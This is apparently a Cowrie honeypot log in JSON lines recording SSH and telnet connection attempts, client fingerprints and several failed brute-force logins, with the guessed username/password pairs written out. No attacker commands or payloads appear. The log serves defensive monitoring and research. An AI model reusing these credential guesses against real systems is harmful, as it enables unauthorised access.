{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:30.462259Z","src_ip":"45.153.34.112","session":"8daf089789cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:30.558293Z","src_ip":"194.113.233.25","session":"a3ba8e133152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:31.661289Z","src_ip":"194.113.233.25","session":"a3ba8e133152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44896,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dc036a3838c","protocol":"telnet","message":"New connection: 192.119.13.58:44896 (10.17.0.5:23) [session: 0dc036a3838c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:31.896602Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39362,"dst_ip":"10.17.0.5","dst_port":22,"session":"999a9b9709c8","protocol":"ssh","message":"New connection: 45.153.34.112:39362 (10.17.0.5:22) [session: 999a9b9709c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:32.467579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:32.473054Z","src_ip":"45.153.34.112","session":"999a9b9709c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:32.558883Z","src_ip":"45.153.34.112","session":"999a9b9709c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:32.805519Z","src_ip":"45.153.34.112","session":"999a9b9709c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.412877559661865,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:33.874321Z","src_ip":"192.119.13.58","session":"d5534def95b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:33.894989Z","src_ip":"45.153.34.112","session":"999a9b9709c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59320,"dst_ip":"10.17.0.5","dst_port":23,"session":"476dcb2b8e6b","protocol":"telnet","message":"New connection: 192.119.13.58:59320 (10.17.0.5:23) [session: 476dcb2b8e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:35.279074Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39378,"dst_ip":"10.17.0.5","dst_port":22,"session":"27e9928029f0","protocol":"ssh","message":"New connection: 45.153.34.112:39378 (10.17.0.5:22) [session: 27e9928029f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:36.231485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:36.239331Z","src_ip":"45.153.34.112","session":"27e9928029f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:36.322083Z","src_ip":"45.153.34.112","session":"27e9928029f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:36.571935Z","src_ip":"45.153.34.112","session":"27e9928029f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37498,"dst_ip":"10.17.0.5","dst_port":23,"session":"792df50ef91c","protocol":"telnet","message":"New connection: 192.119.13.58:37498 (10.17.0.5:23) [session: 792df50ef91c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:36.847100Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:37.657612Z","src_ip":"45.153.34.112","session":"27e9928029f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":52890,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f60bc37d88c","protocol":"ssh","message":"New connection: 186.68.83.105:52890 (10.17.0.5:22) [session: 9f60bc37d88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:38.630045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:38.635347Z","src_ip":"186.68.83.105","session":"9f60bc37d88c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:38.724591Z","src_ip":"186.68.83.105","session":"9f60bc37d88c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41630,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c1a90da1679","protocol":"telnet","message":"New connection: 192.119.13.58:41630 (10.17.0.5:23) [session: 7c1a90da1679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:38.900913Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"nizar","message":"login attempt [root/nizar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:39.113651Z","src_ip":"186.68.83.105","session":"9f60bc37d88c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43448,"dst_ip":"10.17.0.5","dst_port":23,"session":"206c290370c4","protocol":"telnet","message":"New connection: 192.119.13.58:43448 (10.17.0.5:23) [session: 206c290370c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:39.283372Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46650,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc309a107df5","protocol":"ssh","message":"New connection: 45.153.34.112:46650 (10.17.0.5:22) [session: bc309a107df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:39.736878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:39.742708Z","src_ip":"45.153.34.112","session":"bc309a107df5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:39.825978Z","src_ip":"45.153.34.112","session":"bc309a107df5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:40.205781Z","src_ip":"186.68.83.105","session":"9f60bc37d88c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:40.281736Z","src_ip":"45.153.34.112","session":"bc309a107df5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:41.366956Z","src_ip":"45.153.34.112","session":"bc309a107df5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.10860824584961,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:43.358821Z","src_ip":"192.119.13.58","session":"4635b2f45b6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46652,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e3c19397d2e","protocol":"ssh","message":"New connection: 45.153.34.112:46652 (10.17.0.5:22) [session: 2e3c19397d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:43.581622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:43.588476Z","src_ip":"45.153.34.112","session":"2e3c19397d2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:43.675912Z","src_ip":"45.153.34.112","session":"2e3c19397d2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:43.928304Z","src_ip":"45.153.34.112","session":"2e3c19397d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:45.187789Z","src_ip":"45.153.34.112","session":"2e3c19397d2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46668,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb972e08ac86","protocol":"ssh","message":"New connection: 45.153.34.112:46668 (10.17.0.5:22) [session: bb972e08ac86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:47.049729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:47.054986Z","src_ip":"45.153.34.112","session":"bb972e08ac86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:47.137613Z","src_ip":"45.153.34.112","session":"bb972e08ac86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:47.665589Z","src_ip":"45.153.34.112","session":"bb972e08ac86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:48.753915Z","src_ip":"45.153.34.112","session":"bb972e08ac86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57310,"dst_ip":"10.17.0.5","dst_port":22,"session":"544107e445cc","protocol":"ssh","message":"New connection: 45.153.34.112:57310 (10.17.0.5:22) [session: 544107e445cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:50.886154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:50.891111Z","src_ip":"45.153.34.112","session":"544107e445cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:50.983609Z","src_ip":"45.153.34.112","session":"544107e445cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:51.235589Z","src_ip":"45.153.34.112","session":"544107e445cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.212082386016846,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:52.273008Z","src_ip":"192.119.13.58","session":"797ccc475054","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:52.377027Z","src_ip":"45.153.34.112","session":"544107e445cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.01311278343201,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:54.040792Z","src_ip":"192.119.13.58","session":"0afb75bfcb75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57324,"dst_ip":"10.17.0.5","dst_port":22,"session":"985d9c4cb2f7","protocol":"ssh","message":"New connection: 45.153.34.112:57324 (10.17.0.5:22) [session: 985d9c4cb2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:54.497039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:54.522199Z","src_ip":"45.153.34.112","session":"985d9c4cb2f7","protocol":"ssh"}
